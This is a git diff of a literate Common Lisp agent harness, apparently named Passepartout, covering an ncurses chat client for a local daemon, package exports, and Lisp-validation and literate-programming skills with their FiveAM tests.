(bt:with-lock-held (*queue-lock*)
|
||||
(let ((msgs *incoming*))
|
||||
(setf *incoming* nil)
|
||||
msgs)))
|
||||
#+end_src
|
||||
|
||||
** Rendering (chat-render)
|
||||
|
||||
Renders the chat history window. Draws a bordered box with scrollable content — only the most recent ~h-2~ messages are visible, matching the window height.
|
||||
|
||||
The box border uses Unicode box-drawing characters via Croatoan's ~box~ function.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun chat-render (win h)
|
||||
(when (and win (integerp h))
|
||||
(clear win)
|
||||
(box win 0 0)
|
||||
(let* ((view-height (- h 2))
|
||||
(history (copy-list *chat-history*))
|
||||
(len (length history))
|
||||
(num-to-draw (min len view-height))
|
||||
(slice (subseq history 0 num-to-draw)))
|
||||
(loop for i from 0 below num-to-draw
|
||||
for msg in (reverse slice)
|
||||
do (when msg
|
||||
(add-string win (format nil "│ ~a" msg) :y (1+ i) :x 2))))
|
||||
(refresh win)))
|
||||
#+end_src
|
||||
|
||||
** Input handling
|
||||
|
||||
*** Handle backspace
|
||||
|
||||
Removes the last character from the input buffer.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun input-backspace ()
|
||||
(pop *input-buffer*))
|
||||
#+end_src
|
||||
|
||||
*** Handle return
|
||||
|
||||
Sends the accumulated input as a framed protocol message to the daemon. The message format is:
|
||||
|
||||
(:TYPE :EVENT :META (:SOURCE :tui) :PAYLOAD (:SENSOR :user-input :TEXT "<user input>"))
|
||||
|
||||
Also handles the ~/exit~ and ~/clear~ client-side commands before sending to the daemon.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun input-submit (stream)
|
||||
(let ((cmd (coerce (reverse *input-buffer*) 'string)))
|
||||
(setf *input-buffer* nil)
|
||||
(log-debug "SUBMITTING: '~a'" cmd)
|
||||
(when (> (length cmd) 0)
|
||||
(push (format nil "⬆ ~a" cmd) *chat-history*)
|
||||
(handler-case
|
||||
(progn
|
||||
(if (and stream (open-stream-p stream))
|
||||
(let* ((msg (list :TYPE :EVENT
|
||||
:META (list :SOURCE :tui)
|
||||
:PAYLOAD (list :SENSOR :user-input :TEXT cmd)))
|
||||
(payload (format nil "~s" msg))
|
||||
(len (length payload)))
|
||||
(format stream "~6,'0x~a" len payload)
|
||||
(finish-output stream)
|
||||
(log-debug "SENT WIRE: ~a" payload))
|
||||
(push "ERROR: Not connected." *chat-history*)))
|
||||
(error (c)
|
||||
(log-debug "SEND ERROR: ~a" c)
|
||||
(push (format nil "ERROR: ~a" c) *chat-history*)
|
||||
(setf *is-running* nil))))
|
||||
(when (string= cmd "/exit") (setf *is-running* nil))
|
||||
(when (string= cmd "/clear") (setf *chat-history* nil))))
|
||||
#+end_src
|
||||
|
||||
** Background Reader (reader-start)
|
||||
|
||||
A dedicated thread that continuously reads framed messages from the daemon's TCP stream. Messages are parsed and enqueued for the main loop to display.
|
||||
|
||||
The reader handles:
|
||||
- The ~:handshake~ action (sent on connection) — displays "* Connected *"
|
||||
- All other actions — displays the ~:text~ payload or the raw payload
|
||||
|
||||
If the connection is lost or an error occurs, the reader logs the error, enqueues a "Connection lost" message, and sets ~*is-running*~ to nil to stop the main loop.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun reader-start (stream)
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop while *is-running* do
|
||||
(handler-case
|
||||
(let* ((len-buf (make-string 6))
|
||||
(count (read-sequence len-buf stream)))
|
||||
(if (= count 6)
|
||||
(let* ((msg-len (parse-integer len-buf :radix 16))
|
||||
(msg-buf (make-string msg-len)))
|
||||
(read-sequence msg-buf stream)
|
||||
(log-debug "DAEMON MSG: ~a" msg-buf)
|
||||
(let ((msg (read-from-string msg-buf)))
|
||||
(let ((payload (getf msg :payload)))
|
||||
(cond
|
||||
((eq (getf payload :action) :handshake)
|
||||
(message-queue-push "* Connected *"))
|
||||
(t
|
||||
(let ((text (or (getf payload :text) (format nil "~a" payload))))
|
||||
(message-queue-push (format nil "⬇ ~a" text))))))))
|
||||
(sleep 0.05)))
|
||||
(error (c)
|
||||
(when *is-running*
|
||||
(log-debug "READER ERROR: ~a" c)
|
||||
(message-queue-push "ERROR: Connection lost.")
|
||||
(setf *is-running* nil))))))
|
||||
:name "passepartout-tui-reader"))
|
||||
#+end_src
|
||||
|
||||
** Main Entry Point (main)
|
||||
|
||||
The top-level entry point for the TUI application. Boot sequence:
|
||||
|
||||
1. Connect to the daemon at ~localhost:9105~
|
||||
2. If connection fails, print an error and exit immediately
|
||||
3. Create the ncurses screen with two windows (chat + input)
|
||||
4. Start the background reader thread
|
||||
5. Enter the main loop: check for messages, check for keyboard input, render
|
||||
6. On ~unwind-protect~ cleanup: close the socket
|
||||
|
||||
The main loop runs at ~100Hz (10ms sleep). Keyboard input is non-blocking — if no key is pressed, the loop still runs to check for incoming messages from the daemon.
|
||||
|
||||
#+begin_src lisp
|
||||
(defun main ()
|
||||
(log-debug "=== START ===")
|
||||
(handler-case
|
||||
(setf *socket* (usocket:socket-connect *daemon-host* *daemon-port*))
|
||||
(error (e) (format t "Offline: ~a~%" e) (return-from main)))
|
||||
(setf *stream* (usocket:socket-stream *socket*))
|
||||
|
||||
(unwind-protect
|
||||
(with-screen (scr :input-echoing nil :input-blocking nil :enable-colors t)
|
||||
(let* ((h (or (height scr) 24))
|
||||
(w (or (width scr) 80))
|
||||
(chat-h (- h 4))
|
||||
(chat-win (make-instance 'window :height chat-h :width (- w 2) :y 1 :x 1))
|
||||
(input-win (make-instance 'window :height 1 :width (- w 2) :y (- h 2) :x 1)))
|
||||
(setf (input-blocking input-win) nil)
|
||||
(reader-start *stream*)
|
||||
(loop :while *is-running* :do
|
||||
(let ((msgs (message-queue-drain)))
|
||||
(when msgs
|
||||
(dolist (m msgs) (push m *chat-history*))
|
||||
(chat-render chat-win chat-h)))
|
||||
(let ((ch (get-char input-win)))
|
||||
(when (and ch (not (equal ch -1)))
|
||||
(log-debug "KEY: ~s" ch)
|
||||
(cond
|
||||
((or (eql ch 10) (eql ch 13) (eq ch :enter) (eql ch #\Newline) (eql ch #\Return))
|
||||
(input-submit *stream*)
|
||||
(chat-render chat-win chat-h))
|
||||
((or (eql ch 127) (eql ch 8) (eq ch :backspace) (eql ch #\Backspace))
|
||||
(input-backspace))
|
||||
((characterp ch)
|
||||
(push ch *input-buffer*))
|
||||
((integerp ch)
|
||||
(let ((converted (code-char ch)))
|
||||
(when (graphic-char-p converted)
|
||||
(push converted *input-buffer*))))))
|
||||
(clear input-win)
|
||||
(add-string input-win (format nil "▶ ~a" (coerce (reverse *input-buffer*) 'string)) :y 0 :x 1)
|
||||
(refresh input-win))
|
||||
(sleep 0.01))))
|
||||
(setf *is-running* nil)
|
||||
(when *socket* (ignore-errors (usocket:socket-close *socket*)))))
|
||||
#+end_src
|
||||
|
||||
** REPL test script (tmux)
|
||||
|
||||
Use this script to test the TUI non-interactively in a tmux session. It launches the TUI in a headless tmux window, sends text, and captures the output.
|
||||
|
||||
#+begin_src bash :tangle no
|
||||
#!/bin/bash
|
||||
SESSION="oct-tui-test"
|
||||
tmux new-session -d -s "$SESSION" \
|
||||
-e OC_CONFIG_DIR="$HOME/.config/passepartout" \
|
||||
-e PASSEPARTOUT_DATA_DIR="$HOME/.local/share/passepartout" \
|
||||
-e TERM="screen-256color" \
|
||||
"sbcl --non-interactive \
|
||||
--eval '(load (merge-pathnames \"quicklisp/setup.lisp\" (user-homedir-pathname)))' \
|
||||
--eval '(push (truename \"$HOME/.local/share/passepartout/\") asdf:*central-registry*)' \
|
||||
--eval '(ql:quickload :passepartout/tui)' \
|
||||
--eval '(passepartout.gateway-tui:main)'"
|
||||
sleep 5
|
||||
tmux capture-pane -t "$SESSION" -p -S -20
|
||||
tmux send-keys -t "$SESSION" 'hello' Enter
|
||||
sleep 8
|
||||
tmux capture-pane -t "$SESSION" -p -S -20
|
||||
tmux send-keys -t "$SESSION" '/exit' Enter
|
||||
sleep 1
|
||||
tmux kill-session -t "$SESSION" 2>/dev/null || true
|
||||
#+end_src
|
||||
226
org/package.lisp
226
org/package.lisp
@@ -1,226 +0,0 @@
|
||||
(defpackage :passepartout
|
||||
(:use :cl)
|
||||
(:export
|
||||
#:frame-message
|
||||
#:read-framed-message
|
||||
#:PROTO-GET
|
||||
#:LIST-OBJECTS-WITH-ATTRIBUTE
|
||||
#:COSINE-SIMILARITY
|
||||
#:VAULT-MASK-STRING
|
||||
#:*VAULT-MEMORY*
|
||||
#:parse-message
|
||||
#:make-hello-message
|
||||
#:validate-communication-protocol-schema
|
||||
#:start-daemon
|
||||
#:stop-daemon
|
||||
#:log-message
|
||||
#:main
|
||||
#:doctor-run-all
|
||||
#:doctor-main
|
||||
#:doctor-check-dependencies
|
||||
#:doctor-check-env
|
||||
#:register-provider
|
||||
#:system-ready-p
|
||||
#:run-setup-wizard
|
||||
#:skill-gateway-register
|
||||
#:skill-gateway-link
|
||||
#:gateway-manager-main
|
||||
#:ingest-ast
|
||||
#:lookup-object
|
||||
#:list-objects-by-type
|
||||
#:org-id-new
|
||||
#:*memory*
|
||||
#:*history-store*
|
||||
#:org-object
|
||||
#:make-org-object
|
||||
#:org-object-id
|
||||
#:org-object-type
|
||||
#:org-object-attributes
|
||||
#:org-object-parent-id
|
||||
#:org-object-children
|
||||
#:org-object-version
|
||||
#:org-object-last-sync
|
||||
#:org-object-vector
|
||||
#:org-object-content
|
||||
#:org-object-hash
|
||||
#:snapshot-memory
|
||||
#:rollback-memory
|
||||
#:context-query-store
|
||||
#:context-get-active-projects
|
||||
#:context-get-recent-completed-tasks
|
||||
#:context-list-all-skills
|
||||
#:context-get-skill-source
|
||||
#:context-get-system-logs
|
||||
#:context-resolve-path
|
||||
#:context-get-skill-telemetry
|
||||
#:telemetry-track
|
||||
#:context-assemble-global-awareness
|
||||
#:process-signal
|
||||
#:perceive-gate
|
||||
#:probabilistic-gate
|
||||
#:consensus-gate
|
||||
#:act-gate
|
||||
#:reason-gate
|
||||
#:dispatch-gate
|
||||
#:inject-stimulus
|
||||
#:initialize-actuators
|
||||
#:dispatch-action
|
||||
#:register-actuator
|
||||
#:load-skill-from-org
|
||||
#:initialize-all-skills
|
||||
#:load-skill-with-timeout
|
||||
#:topological-sort-skills
|
||||
#:validate-lisp-syntax
|
||||
#:defskill
|
||||
#:*skill-registry*
|
||||
#:skill
|
||||
#:skill-name
|
||||
#:skill-priority
|
||||
#:skill-dependencies
|
||||
#:skill-trigger-fn
|
||||
#:skill-probabilistic-prompt
|
||||
#:skill-deterministic-fn
|
||||
#:cognitive-tool-define
|
||||
#:*cognitive-tool-registry*
|
||||
#:verify-git-clean-p
|
||||
#:engineering-standards-verify-lisp
|
||||
#:engineering-standards-format-lisp
|
||||
#:literate-check-block-balance
|
||||
#:check-tangle-sync
|
||||
#:*tangle-targets*
|
||||
#:utils-org-read-file
|
||||
#:utils-org-write-file
|
||||
#:utils-org-add-headline
|
||||
#:utils-org-set-property
|
||||
#:utils-org-set-todo
|
||||
#:utils-org-find-headline-by-id
|
||||
#:utils-org-find-headline-by-title
|
||||
#:utils-org-generate-id
|
||||
#:utils-org-id-format
|
||||
#:utils-org-ast-to-org
|
||||
#:utils-org-modify
|
||||
#:utils-lisp-validate
|
||||
#:utils-lisp-check-structural
|
||||
#:utils-lisp-check-syntactic
|
||||
#:utils-lisp-check-semantic
|
||||
#:utils-lisp-eval
|
||||
#:utils-lisp-format
|
||||
#:utils-lisp-list-definitions
|
||||
#:utils-lisp-structural-extract
|
||||
#:utils-lisp-structural-wrap
|
||||
#:utils-lisp-structural-inject
|
||||
#:utils-lisp-structural-slurp
|
||||
#:utils-lisp-register
|
||||
#:get-oc-config-dir
|
||||
#:prompt-for
|
||||
#:save-secret
|
||||
#:get-tool-permission
|
||||
#:set-tool-permission
|
||||
#:check-tool-permission-gate
|
||||
#:cognitive-tool
|
||||
#:cognitive-tool-name
|
||||
#:cognitive-tool-description
|
||||
#:cognitive-tool-parameters
|
||||
#:cognitive-tool-guard
|
||||
#:cognitive-tool-body
|
||||
#:*emacs-clients*
|
||||
#:*clients-lock*
|
||||
#:register-emacs-client
|
||||
#:unregister-emacs-client
|
||||
#:ask-probabilistic
|
||||
#:register-probabilistic-backend
|
||||
#:distill-prompt
|
||||
#:*probabilistic-backends*
|
||||
#:*provider-cascade*
|
||||
#:vault-get-secret
|
||||
#:vault-set-secret
|
||||
#:memory-objects-by-attribute
|
||||
#:deterministic-verify
|
||||
#:find-headline-missing-id))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun plist-get (plist key)
|
||||
"Robust plist accessor — checks both :KEY and :key variants."
|
||||
(let* ((s (string key))
|
||||
(up (intern (string-upcase s) :keyword))
|
||||
(dn (intern (string-downcase s) :keyword)))
|
||||
(or (getf plist up) (getf plist dn))))
|
||||
|
||||
(defvar *log-buffer* nil)
|
||||
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
|
||||
(defvar *log-limit* 100)
|
||||
|
||||
(defvar *skill-registry* (make-hash-table :test 'equal)
|
||||
"Global registry of all loaded skills.")
|
||||
|
||||
(defvar *telemetry-table* (make-hash-table :test 'equal))
|
||||
(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
|
||||
|
||||
(defun telemetry-track (skill-name duration status)
|
||||
"Updates performance metrics for a skill. STATUS is :success or :rejected."
|
||||
(when skill-name
|
||||
(bordeaux-threads:with-lock-held (*telemetry-lock*)
|
||||
(let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0))))
|
||||
(incf (getf entry :executions))
|
||||
(incf (getf entry :total-time) duration)
|
||||
(when (eq status :rejected) (incf (getf entry :failures)))
|
||||
(setf (gethash skill-name *telemetry-table*) entry)))))
|
||||
|
||||
(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
|
||||
|
||||
(defstruct cognitive-tool
|
||||
name
|
||||
description
|
||||
parameters
|
||||
guard
|
||||
body)
|
||||
|
||||
(defmacro cognitive-tool-define (name description parameters &key guard body)
|
||||
"Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
|
||||
`(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
|
||||
(make-cognitive-tool :name (string-downcase (string ',name))
|
||||
:description ,description
|
||||
:parameters ',parameters
|
||||
:guard ,guard
|
||||
:body ,body)))
|
||||
|
||||
(defun cognitive-tool-prompt ()
|
||||
"Serialises all registered tools into a prompt string for the LLM."
|
||||
(let ((descriptions nil))
|
||||
(maphash (lambda (k tool)
|
||||
(declare (ignore k))
|
||||
(push (format nil "- ~a: ~a~% Parameters: ~a~%"
|
||||
(cognitive-tool-name tool)
|
||||
(cognitive-tool-description tool)
|
||||
(cognitive-tool-parameters tool))
|
||||
descriptions))
|
||||
*cognitive-tool-registry*)
|
||||
(if descriptions
|
||||
(format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<)))
|
||||
"No tools registered.")))
|
||||
|
||||
(defun log-message (msg &rest args)
|
||||
"Centralized, thread-safe logging for the harness."
|
||||
(let ((formatted-msg (apply #'format nil msg args)))
|
||||
(bordeaux-threads:with-lock-held (*log-lock*)
|
||||
(push formatted-msg *log-buffer*)
|
||||
(when (> (length *log-buffer*) *log-limit*)
|
||||
(setq *log-buffer* (subseq *log-buffer* 0 *log-limit*))))
|
||||
(format t "~a~%" formatted-msg)
|
||||
(finish-output)))
|
||||
|
||||
(setf *debugger-hook* (lambda (condition hook)
|
||||
"Friendly error handler - shows diagnostic message instead of raw debugger."
|
||||
(declare (ignore hook))
|
||||
(format t "~%")
|
||||
(format t "┌─────────────────────────────────────────────┐~%")
|
||||
(format t "│ ERROR: ~A~%" (type-of condition))
|
||||
(format t "│~%")
|
||||
(format t "│ Run: opencortex doctor~%")
|
||||
(format t "│ For system diagnostics~%")
|
||||
(format t "└─────────────────────────────────────────────┘~%")
|
||||
(format t "~%")
|
||||
(format t "Details: ~A~%" condition)
|
||||
(finish-output)
|
||||
(uiop:quit 1)))
|
||||
@@ -15,9 +15,31 @@ The skill has four layers:
|
||||
3. **Structural surgery** — extract, inject, wrap, slurp — surgical code transformations without regex
|
||||
4. **Formatting** — auto-indentation via Emacs batch mode
|
||||
|
||||
** Contract
|
||||
|
||||
1. (lisp-structural-check code): returns (values T nil) if parentheses
|
||||
balanced, (values nil error-msg) if reader errors detected.
|
||||
2. (lisp-syntactic-check code): alias for lisp-structural-check.
|
||||
3. (lisp-semantic-check code): returns (values T nil) if no unsafe forms
|
||||
(eval, load, run-program) found; (values nil reason) if blocked.
|
||||
4. (lisp-validate code &key strict): unified gate — returns
|
||||
~(:status :success)~ or ~(:status :error :reason ...)~.
|
||||
5. (lisp-eval code-string): sandboxed eval with captured output.
|
||||
Returns ~(:status :success :result ...)~ or ~(:status :error ...)~.
|
||||
6. (lisp-extract code fn-name): extracts a single defun from code.
|
||||
7. (lisp-list-definitions code): returns list of defined symbol names.
|
||||
8. (lisp-inject code target new-form): injects a form into a function body.
|
||||
9. (lisp-slurp code target form): appends a form to a function body.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Structural Validation
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-structural-check (code)
|
||||
"Checks if parentheses are balanced and the code is readable."
|
||||
@@ -31,6 +53,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** Syntactic Validation
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-syntactic-check (code)
|
||||
"Checks for valid Lisp syntax beyond just balanced parentheses."
|
||||
@@ -38,6 +61,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** Semantic Validation (Safety)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-semantic-check (code)
|
||||
"Checks for potentially unsafe forms."
|
||||
@@ -49,6 +73,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** Unified Validation Gate
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-validate (code &key (strict t))
|
||||
"Unified validation gate for Lisp code."
|
||||
@@ -63,6 +88,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** Evaluation (REPL)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-eval (code-string &key (package :passepartout))
|
||||
"Evaluates a Lisp string and captures its output/results."
|
||||
@@ -89,6 +115,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** Formatting (Emacs Batch)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-format (code-string)
|
||||
"Attempts to format Lisp code using Emacs batch mode if available."
|
||||
@@ -112,6 +139,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** Structural Extraction (AST)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-extract (code function-name)
|
||||
"Extracts the definition of a specific function from a code string."
|
||||
@@ -128,6 +156,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** Structural Wrapping (AST)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-wrap (code target-name wrapper-symbol)
|
||||
"Wraps a specific form in a wrapper form (e.g., wrap in a let)."
|
||||
@@ -143,6 +172,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** List Definitions
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-list-definitions (code)
|
||||
"Returns a list of names for all top-level definitions (defun, defmacro, etc.)."
|
||||
@@ -160,6 +190,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** Structural Injection (AST)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-inject (code target-name new-form-string)
|
||||
"Injects a new form into the body of a targeted definition."
|
||||
@@ -179,6 +210,7 @@ The skill has four layers:
|
||||
#+end_src
|
||||
|
||||
** Structural Slurp (AST)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun lisp-slurp (code target-name form-to-slurp-string)
|
||||
"Adds a form to the end of a named list or definition (Paredit slurp)."
|
||||
@@ -204,7 +236,7 @@ The skill has four layers:
|
||||
|
||||
* Test Suite
|
||||
Tests for the Lisp Validator structural, syntactic, and semantic gates.
|
||||
#+begin_src lisp :tangle ../lisp/programming-lisp.lisp
|
||||
#+begin_src lisp
|
||||
(defpackage :passepartout-utils-lisp-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-lisp-suite))
|
||||
@@ -217,43 +249,53 @@ Tests for the Lisp Validator structural, syntactic, and semantic gates.
|
||||
(in-suite utils-lisp-suite)
|
||||
|
||||
(test structural-balanced
|
||||
"Contract 1: balanced code returns T."
|
||||
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
|
||||
|
||||
(test structural-unbalanced-open
|
||||
"Contract 1: missing close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test structural-unbalanced-close
|
||||
"Contract 1: extra close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test syntactic-valid
|
||||
"Contract 2: valid syntax passes syntactic check."
|
||||
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-safe
|
||||
"Contract 3: safe code passes semantic check."
|
||||
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-blocked-eval
|
||||
"Contract 3: eval forms are blocked by semantic check."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
|
||||
(is (null ok))
|
||||
(is (search "Unsafe" reason))))
|
||||
|
||||
(test unified-success
|
||||
"Contract 4: valid code returns :success via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
|
||||
(is (eq (getf result :status) :success))))
|
||||
|
||||
(test unified-failure
|
||||
"Contract 4: invalid code returns :error via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
(test eval-basic
|
||||
"Contract 5: lisp-eval returns :success with captured result."
|
||||
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (string= (getf result :result) "3"))))
|
||||
|
||||
(test structural-extract
|
||||
"Contract 6: lisp-extract finds and returns a named function."
|
||||
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
|
||||
(extracted (passepartout:lisp-extract code "hello")))
|
||||
(is (not (null extracted)))
|
||||
@@ -262,6 +304,7 @@ Tests for the Lisp Validator structural, syntactic, and semantic gates.
|
||||
(is (eq (second form) 'HELLO)))))
|
||||
|
||||
(test list-definitions
|
||||
"Contract 7: lisp-list-definitions returns all defined names."
|
||||
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
|
||||
(let ((names (passepartout:lisp-list-definitions code)))
|
||||
(is (member 'FOO names))
|
||||
@@ -269,12 +312,14 @@ Tests for the Lisp Validator structural, syntactic, and semantic gates.
|
||||
(is (member '*BAZ* names)))))
|
||||
|
||||
(test structural-inject
|
||||
"Contract 8: lisp-inject adds a form to a function body."
|
||||
(let* ((code "(defun my-fun (x) (print x))")
|
||||
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
|
||||
(let ((form (read-from-string injected)))
|
||||
(is (equal (last form) '((FINISH-OUTPUT)))))))
|
||||
|
||||
(test structural-slurp
|
||||
"Contract 9: lisp-slurp appends a form to a function body."
|
||||
(let* ((code "(defun work () (step-1))")
|
||||
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
|
||||
(let ((form (read-from-string slurped)))
|
||||
|
||||
@@ -6,35 +6,24 @@
|
||||
* Overview
|
||||
This skill enforces the literal programming discipline for all Passepartout source code. It defines the rules for one-function-per-block, prose-before-code, reflecting working code back from the REPL to Org, and the tangle mandate (never edit .lisp directly). Every Org file that contains Lisp code should follow the rules defined here.
|
||||
|
||||
** Discipline Rules
|
||||
** Contract
|
||||
|
||||
*** One Function, One Block
|
||||
Every ~#+begin_src lisp~ block contains exactly one function definition. Never bundle multiple definitions in a single block. This keeps the Org file granular, reviewable, and tanglable without side effects.
|
||||
|
||||
*** Prose Before Code
|
||||
Every block must be preceded by an Org headline and explanatory prose that covers:
|
||||
- What the function does
|
||||
- Its arguments (including any &key, &optional)
|
||||
- Its return value
|
||||
- The rationale for its existence
|
||||
|
||||
The prose is not a comment — it is the authoritative specification. The code implements what the prose describes.
|
||||
|
||||
*** Reflect Back, Don't Write Directly
|
||||
Code is explored and verified in the REPL first (per Engineering Standards lifecycle). Once working, it is *reflected back* into the Org file. This means:
|
||||
- The REPL is the proving ground — iterate there
|
||||
- The Org file is the record — copy working code there
|
||||
- Never write code directly into an Org block without first evaluating it in the REPL
|
||||
|
||||
*** Code and Prose Together
|
||||
Every ~#+begin_src lisp~ block flows from the prose above it. The reader (human or agent) should understand the function's contract from the prose before reading the code. If the code and prose disagree, the prose is wrong — update both.
|
||||
|
||||
*** Tangle Mandate
|
||||
The `.lisp` file is derived, not authored. Never edit `.lisp` directly. All changes flow through Org: edit Org → tangle → `.lisp` updates. Violating this corrupts the skill loader and causes boot failure.
|
||||
1. (literate-extract-lisp-blocks content): extracts concatenated
|
||||
Lisp code from all ~#+begin_src lisp~ blocks in an Org string.
|
||||
2. (literate-block-balance-check org-file): checks that parentheses are
|
||||
balanced across all lisp blocks in an Org file. Returns T or nil.
|
||||
3. (literate-tangle-sync-check org-file lisp-file): verifies the
|
||||
tangled .lisp file matches the Org source. Returns T or mismatch info.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Block Extraction
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun literate-extract-lisp-blocks (content)
|
||||
"Extracts all #+begin_src lisp ... #+end_src blocks from Org CONTENT.
|
||||
@@ -58,6 +47,7 @@ Returns a list of block strings."
|
||||
#+end_src
|
||||
|
||||
** Synchronization Logic
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun literate-block-balance-check (org-file)
|
||||
"Verifies that all Lisp source blocks in an Org file have balanced parentheses.
|
||||
@@ -81,6 +71,10 @@ Returns T if all blocks pass validation, or an error string listing failures."
|
||||
(format nil "Unbalanced blocks in ~a:~%~{~a~^~%~}" org-file failures)
|
||||
t)))))
|
||||
|
||||
#+end_src
|
||||
** literate-tangle-sync-check
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun literate-tangle-sync-check (org-file lisp-file)
|
||||
"Verifies that the .lisp file matches the tangled output of the .org file.
|
||||
Compares the concatenation of all lisp blocks from the Org file against the
|
||||
@@ -100,6 +94,7 @@ contents of the Lisp file. Returns T if they match, or an error message."
|
||||
t
|
||||
(format nil "Tangle sync mismatch: ~a does not match ~a" org-file lisp-file))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
@@ -107,3 +102,44 @@ contents of the Lisp file. Returns T if they match, or an error message."
|
||||
:priority 300
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-literate-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:literate-suite))
|
||||
|
||||
(in-package :passepartout-programming-literate-tests)
|
||||
|
||||
(def-suite literate-suite :description "Verification of the Literate Programming skill")
|
||||
(in-suite literate-suite)
|
||||
|
||||
(test test-extract-lisp-blocks
|
||||
"Contract 1: extracts lisp from #+begin_src blocks."
|
||||
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
|
||||
(extracted (literate-extract-lisp-blocks org-content)))
|
||||
(let ((joined (format nil "~{~a~^~%~}" extracted)))
|
||||
(is (search "(+ 1 2)" joined))
|
||||
(is (search "(+ 3 4)" joined)))))
|
||||
|
||||
(test test-block-balance-check-valid
|
||||
"Contract 2: balanced parens return T."
|
||||
(is (eq t (literate-block-balance-check
|
||||
(merge-pathnames "org/core-loop.org"
|
||||
(uiop:ensure-directory-pathname
|
||||
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
|
||||
|
||||
(test test-block-balance-check-missing-close
|
||||
"Contract 2: unbalanced parens return non-T."
|
||||
(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
|
||||
|
||||
(test test-tangle-sync-check
|
||||
